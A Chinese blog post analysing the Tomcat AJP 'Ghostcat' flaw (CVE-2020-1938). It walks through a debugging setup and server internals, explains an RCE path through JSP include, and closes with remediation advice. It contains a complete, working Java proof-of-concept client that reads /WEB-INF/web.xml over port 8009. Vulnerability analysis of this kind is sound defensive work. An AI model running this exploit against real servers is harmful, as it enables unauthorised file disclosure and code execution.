CVE-2020-1938:Apache AJP 协议漏洞,从环境搭建到修复建议详细分析
摘要:CVE-2020-1938 Apache AJP 协议漏洞,从环境搭建到修复建议详细分析。
环境搭建
这里使用tomcat8.0.52的测试环境。因为tomcat默认情况下启用AJP协议,所以我们只需要配置tomcat的远程debug环境。
1.找到catalina.sh定义远程调试端口。在这里使用默认端口5005。
if [ -z "$JPDA_ADDRESS" ]; then
JPDA_ADDRESS="localhost:5005"
fi
2.在调试模式下启动tomcat。不建议直接更改tomcat的默认启动模式,否则以后会默认启用调试模式,因此建议直接在debug模式下启动tomcat。
sh catalina.sh jpda start
3.导入tomcat jar包到idea的lib中,将tomcat jars放在lib目录下,直接导入lib。
接下来,在idea中启用tomcat的远程调试环境并进行部署。
AJP(Apache JServ协议)是定向数据包协议。它的功能实际上类似于HTTP协议。区别在于AJP协议使用二进制格式传输文本,并使用TCP协议与SERVLET容器进行通信。因此,对该漏洞的利用取决于客户端,而不是浏览器或HTTP数据包捕获工具。
因为它是一个Java漏洞,所以很难从Internet上的py poc看到许多与AJP协议有关的内容,因此在这里我们看一下用于发送AJP消息的java的客户端代码。客户端代码引用自0nise的GitHub。
目录结构如下,因为代码需要依赖于tomcat的AJP相关jar包,因此还必须添加tomcat的lib,
file:TesterAjpMessage.javapackage com.glassy.utility;import java.util.ArrayList;import java.util.LinkedHashMap;import java.util.List;import java.util.Map;import java.util.Map.Entry;import org.apache.coyote.ajp.AjpMessage;import org.apache.coyote.ajp.Constants;import org.apache.juli.logging.Log;import org.apache.juli.logging.LogFactory;public class TesterAjpMessage extends AjpMessage { private final Map<String, String> attribute = new LinkedHashMap(); private final List<Header> headers = new ArrayList(); private static final Log log = LogFactory.getLog(AjpMessage.class); private static class Header { private final int code; private final String name; private final String value; public Header(int code, String value) { this.code = code; this.name = null; this.value = value; } public Header(String name, String value) { this.code = 0; this.name = name; this.value = value; } public void append(TesterAjpMessage message) { if (this.code == 0) { message.appendString(this.name); } else { message.appendInt(this.code); } message.appendString(this.value); } } public TesterAjpMessage(int packetSize) { super(packetSize); } public byte[] raw() { return this.buf; } public void appendString(String str) { if (str == null) { log.error(sm.getString("ajpmessage.null"), new NullPointerException()); this.appendInt(0); this.appendByte(0); } else { int len = str.length(); this.appendInt(len); for(int i = 0; i < len; ++i) { char c = str.charAt(i); if (c <= 31 && c != '\t' || c == 127 || c > 255) { c = ' '; } this.appendByte(c); } this.appendByte(0); } } public byte readByte() { byte[] bArr = this.buf; int i = this.pos; this.pos = i + 1; return bArr[i]; } public int readInt() { byte[] bArr = this.buf; int i = this.pos; this.pos = i + 1; int val = (bArr[i] & 255) << 8; bArr = this.buf; i = this.pos; this.pos = i + 1; return val + (bArr[i] & 255); } public String readString() { return readString(readInt()); } public String readString(int len) { StringBuilder buffer = new StringBuilder(len); for (int i = 0; i < len; i++) { byte[] bArr = this.buf; int i2 = this.pos; this.pos = i2 + 1; buffer.append((char) bArr[i2]); } readByte(); return buffer.toString(); } public String readHeaderName() { byte b = readByte(); if ((b & 255) == 160) { return Constants.getResponseHeaderForCode(readByte()); } return readString(((b & 255) << 8) + (getByte() & 255)); } public void addHeader(int code, String value) { this.headers.add(new Header(code, value)); } public void addHeader(String name, String value) { this.headers.add(new Header(name, value)); } public void addAttribute(String name, String value) { this.attribute.put(name, value); } public void end() { appendInt(this.headers.size()); for (Header header : this.headers) { header.append(this); } for (Entry<String, String> entry : this.attribute.entrySet()) { appendByte(10); appendString((String) entry.getKey()); appendString((String) entry.getValue()); } appendByte(255); this.len = this.pos; int dLen = this.len - 4; this.buf[0] = (byte) 18; this.buf[1] = (byte) 52; this.buf[2] = (byte) ((dLen >>> 8) & 255); this.buf[3] = (byte) (dLen & 255); } public void reset() { super.reset(); this.headers.clear(); } }
这个TesterAjpMessage.java文件是Tomcat自身用来处理AJP协议信息的AjpMessage类的子类。因为AjpMessage仅支持发送字节信息,所以代码丰富了TesterAjpMessage子类,因此我们支持appendString和Header相关操作更加方便。
file:SimpleAjpClient.javaimport java.io.IOException;import java.io.InputStream;import java.net.Socket;import java.util.Arrays;import javax.net.SocketFactory;public class SimpleAjpClient { private static final byte[] AJP_CPING; private static final int AJP_PACKET_SIZE = 8192; private String host = "localhost"; private int port = -1; private Socket socket = null; static { TesterAjpMessage ajpCping = new TesterAjpMessage(16); ajpCping.reset(); ajpCping.appendByte(10); ajpCping.end(); AJP_CPING = new byte[ajpCping.getLen()]; System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen()); } public int getPort() { return this.port; } public void connect(String host, int port) throws IOException { this.host = host; this.port = port; this.socket = SocketFactory.getDefault().createSocket(host, port); } public void disconnect() throws IOException { this.socket.close(); this.socket = null; } public TesterAjpMessage createForwardMessage(String url) { return createForwardMessage(url, 2); } public TesterAjpMessage createForwardMessage(String url, int method) { TesterAjpMessage message = new TesterAjpMessage(8192); message.reset(); message.getBuffer()[0] = (byte) 18; message.getBuffer()[1] = (byte) 52; message.appendByte(2); message.appendByte(method); message.appendString("http"); message.appendString(url); message.appendString("10.0.0.1"); message.appendString("client.dev.local"); message.appendString(this.host); message.appendInt(this.port); message.appendByte(0); return message; } public TesterAjpMessage createBodyMessage(byte[] data) { TesterAjpMessage message = new TesterAjpMessage(8192); message.reset(); message.getBuffer()[0] = (byte) 18; message.getBuffer()[1] = (byte) 52; message.appendBytes(data, 0, data.length); message.end(); return message; } public void sendMessage(TesterAjpMessage headers) throws IOException { sendMessage(headers, null); } public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException { this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen()); if (body != null) { this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen()); } } public byte[] readMessage() throws IOException { InputStream is = this.socket.getInputStream(); TesterAjpMessage message = new TesterAjpMessage(8192); byte[] buf = message.getBuffer(); int headerLength = message.getHeaderLength(); read(is, buf, 0, headerLength); int messageLength = message.processHeader(false); if (messageLength < 0) { throw new IOException("Invalid AJP message length"); } else if (messageLength == 0) { return null; } else { if (messageLength > buf.length) { throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]"); } read(is, buf, headerLength, messageLength); return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength); } } protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException { int read = 0; while (read < n) { int res = is.read(buf, read + pos, n - read); if (res > 0) { read += res; } else { throw new IOException("Read failed"); } } return true; } }
SimpleAjpClient是用于发送AJP消息的客户端代码,支持服务器的连接和断开连接,并支持AJP消息头和消息的构造。
漏洞分析
首先看一下恶意AJP消息包的结构。
file:Test.javaimport com.glassy.utility.SimpleAjpClient;import com.glassy.utility.TesterAjpMessage;import java.io.IOException;import javax.servlet.RequestDispatcher;public class Test { public static void main(String[] args) throws IOException { SimpleAjpClient ac = new SimpleAjpClient(); String host = "localhost"; int port = 8009; String uri = "/aaa.jsp"; String file = "/WEB-INF/web.xml"; ac.connect(host, port); TesterAjpMessage forwardMessage = ac.createForwardMessage(uri); forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1"); forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file); forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, ""); forwardMessage.end(); ac.sendMessage(forwardMessage); while (true) { byte[] responseBody = ac.readMessage(); if (responseBody == null || responseBody.length == 0) { ac.disconnect(); } else { System.out.print(new String(responseBody)); } } } }
从构造的AJP消息包中,您可以看到AJPMessage的核心内容是主机,端口,INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO和INCLUDE_SERVLET_PATH。 让我们现在写下它们。当我们达到断点时,我们将转到服务器并查看这些内容在做什么。
现在,该开始考虑动态调试了。与以前的rce漏洞(统一到ProcessBuilder的Start函数)不同,断点成为第一个关键问题,这里的方法是因为在客户端代码中使用了AjpMessage类,所以去研究了此类所在的jar 包,在tomcat库中找到了负责处理AJP协议的类。
这些类几乎可以想到通过它们的名称来查看多个Processor。 漏洞的触发源必须经过其中之一。乍一看,根据直觉,直接看一下AjpProcessor。看到AjpProcessor类没有找到我们想要的,但是它有一个值得注意的父类。然后,去了其余的Processor,发现父类是AbstractAjpProcessor,因此去查看了该类的代码,最终决定把断点打在了AbstractAjpProcessor类的process方法上
运行客户端,在处理AJP协议时,它实际上会通过此方法。
在AbstractAjpProcessor类的处理方法中,this.prepareRequest()方法要注意,这是响应请求的一些处理,
让我们看一下该方法的代码,首先查看TesterAjpMessage.java代码中的详细信息,method的值
在这种prepareRequest中,我们获得了该值,并将request的method定义为GET,该方法也与稍后要传递给Servlet的doGet方法有关。
进入swith循环后,立即为request定义了ADDR,PORT和PROTOCOL。 先前在客户端上设置的INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO和INCLUDE_SERVLET_PATH也放置在request.include中。
然后将request和response移交给CoyoteAdapter类进行处理,
下一步是一系列的反射,最终将这些思考移交给JspServlet来处理此请求
在JspServlet的service方法中,我们看到使用了我们先前在利用率代码中定义的INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO和INCLUDE_SERVLET_PATH。
下一个操作是将jspUri赋予getResource以读取文件内容
调用StandardRoot的getResource方法时,将调用validate方法以检测path
其中,RequestUtil.normalize用于目录遍历检测,因此我们无法构造../模式的path
接下来就会造成文件读取了,总体的调用栈如下
关于当存在任意文件上传的时候可以造成RCE的原理也是很简单的,我们看一下上面的调用栈,可以发现当我们读取了文件之后是交给了jspServlet去处理的,自然我们上传了jsp文件再通过该方法去读取文件内容的同时jspServlet也会去执行这个文件,利用jsp的<%@ include file=”demo.txt” %>去做文件包含从而造成RCE。
这里有一个很重要的点要回过来提一下,这里面为了顺便讲解RCE的原理,所以在定义Test.java中的uri变量的时候,给他赋值是xxx.jsp的形式,所以最好AJPProcessor最后是把Message交给了JspServlet来处理这个消息,其实这个漏洞还有第二条利用链,将uri定为xxx.xxx的形式,这样我们的AJPMessage是会交给DefaultServlet来处理的,但其实后面的流程是和前面区别不大的,就不再细说
走DefaultServlet利用的调用栈
修复建议
漏洞的分析出的比较晚。 相信每个人都知道修复方法,所以顺便提一下:
1.关闭AJP协议。
2.升级tomcat。
相关热词搜索: CVE-2020-1938 Apache AJP 协议漏洞 环境搭建 修复建议 重庆网络安全
上一篇:漏洞利用研究之Firefox浏览器
下一篇:PayPal的Google Pay集成漏洞:可通过PayPal帐户进行未经授权的交易
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了